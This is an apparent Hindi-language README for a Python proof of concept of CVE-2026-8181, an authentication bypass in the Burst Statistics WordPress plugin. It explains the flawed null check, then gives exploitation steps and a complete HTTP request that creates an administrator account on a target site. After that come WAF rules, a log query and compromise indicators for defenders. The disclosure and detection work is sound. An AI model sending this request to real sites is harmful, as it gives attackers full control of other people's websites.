
CVE-2026-8181 के लिए Python PoC, जो Burst Statistics WordPress प्लगइन में एक महत्वपूर्ण प्रमाणीकरण बाईपास है। इसमें शोषण स्वचालन, बल्क स्कैनिंग, और अधिकृत सुरक्षा परीक्षण के लिए एडमिन खाता निर्माण शामिल है।
[!CAUTION] महत्वपूर्ण चेतावनी: यह भेद्यता एक अप्रमाणित दूरस्थ हमलावर को लक्ष्य WordPress साइट पर केवल एक कस्टम HTTP हेडर इंजेक्ट करके प्रमाणीकरण बाइपास करने और पूर्ण प्रशासक विशेषाधिकार प्राप्त करने की अनुमति देती है। यह CVE वर्तमान में जंगली में सक्रिय रूप से शोषित किया जा रहा है।
CVE-2026-8181 एक महत्वपूर्ण प्रमाणीकरण बाइपास भेद्यता है जो Burst Statistics WordPress प्लगइन (संस्करण 3.4.0 से 3.4.1.1) को प्रभावित करती है। यह दोष प्लगइन के MainWP प्रॉक्सी एकीकरण में स्थित है। प्रारंभिक plugins_loaded हुक के दौरान एप्लिकेशन पासवर्ड के अनुचित सत्यापन के कारण, प्लगइन गलत तरीके से उन REST API अनुरोधों को प्रशासनिक संदर्भ प्रदान करता है जिनमें X-BurstMainWP: 1 हेडर शामिल होता है, भले ही अनुरोध में मान्य क्रेडेंशियल न हों।
यह एक साधारण, अप्रमाणित HTTP अनुरोध को पूर्ण प्रशासनिक अधिग्रहण में बदल देता है, जो सभी मानक WordPress प्रमाणीकरण तंत्रों को बायपास करता है।
यह समझने के लिए कि कैसे एक साधारण हेडर राज्य की चाबियाँ प्रदान करता है, हमें प्लगइन के प्रमाणीकरण हैंडलर के अंदर PHP तर्क को अलग करना होगा।
यह भेद्यता includes/Frontend/class-mainwp-proxy.php में is_mainwp_authenticated() विधि के अंदर एक गलत तरीके से संभाले गए सशर्त शाखा से उत्पन्न होती है।
plugins_loaded पर init() को प्राथमिकता 9 पर पंजीकृत करता है। यह WordPress जीवनचक्र में बहुत जल्दी है।X-BurstMainWP: 1 हेडर ले जाता है, तो has_admin_access() प्रमाणीकरण को is_mainwp_authenticated() को सौंपता है।Authorization हेडर को पढ़ती है और क्रेडेंशियल्स को WordPress कोर के wp_authenticate_application_password() पर अग्रेषित करती है।application_password_is_api_request फ़िल्टर को true पर सेट नहीं किया है (प्रारंभिक हुक निष्पादन के कारण), कोर फ़ंक्शन WP_Error ऑब्जेक्ट के बजाय null लौटाता है।is_wp_error( $user ) की जाँच करता है। चूँकि null एक WP_Error नहीं है, गार्ड पास हो जाता है।wp_set_current_user() को कॉल करता है, तुरंत अनुरोध को पूर्ण प्रशासक संदर्भ में बढ़ा देता है।// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
यह खंड रेड टीमर्स और अधिकृत प्रवेश परीक्षकों के लिए है।
/wp-content/plugins/burst-statistics/readme.txt के माध्यम से)।GET /wp-json/wp/v2/users के माध्यम से उन्हें लीक करता है। यदि अवरुद्ध है, तो लेखक संग्रह चाल का उपयोग करें: /?author=1।POST /wp-json/wp/v2/users।X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null जाँच को हिट करता है, और अनुरोध को प्रशासक संदर्भ में पदोन्नत करता है। नया प्रशासक उपयोगकर्ता बनाया जाता है।POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] पर्यावरणीय सावधानी: इस शोषण के लिए
Authorizationहेडर को PHP तक पहुँचने की आवश्यकता है।
- Nginx / LiteSpeed / Apache with Pretty Permalinks: हेडर अग्रेषित किया गया है। शोषण सफल होता है।
- Apache with Plain Permalinks (Default): हेडर वेब सर्वर द्वारा चुपचाप हटा दिया जाता है। शोषण विफल।
यह खंड ब्लू टीमर्स, SOC विश्लेषकों और सिस्टम प्रशासकों के लिए है।
एज पर विशिष्ट हेडर को ब्लॉक या मॉनिटर करें।
ModSecurity / OWASP CRS नियम:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF कस्टम नियम:
(http.request.headers["X-BurstMainWP"] eq "1")
REST API उपयोगकर्ता निर्माण के साथ संयुक्त हेडर की उपस्थिति के लिए अपने वेब सर्वर लॉग खोजें।
Splunk / ELK क्वेरी:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
यदि आपको उल्लंघन का संदेह है, तो इन पोस्ट-शोषण कलाकृतियों की तलाश करें:
administrator भूमिका के साथ बनाए गए उपयोगकर्ताओं के लिए wp_users तालिका की जाँच करें।wp-content/plugins/ की जाँच करें (अक्सर वैध प्लगइन के रूप में प्रच्छन्न वेबशेल)।wp-content/themes/ या कोर फ़ाइलों में अनधिकृत परिवर्तनों की जाँच करें।[!IMPORTANT] तत्काल कार्रवाई आवश्यक: यदि आप एक संवेदनशील संस्करण चला रहे हैं, तो तुरंत निम्नलिखित शमन में से एक लागू करें।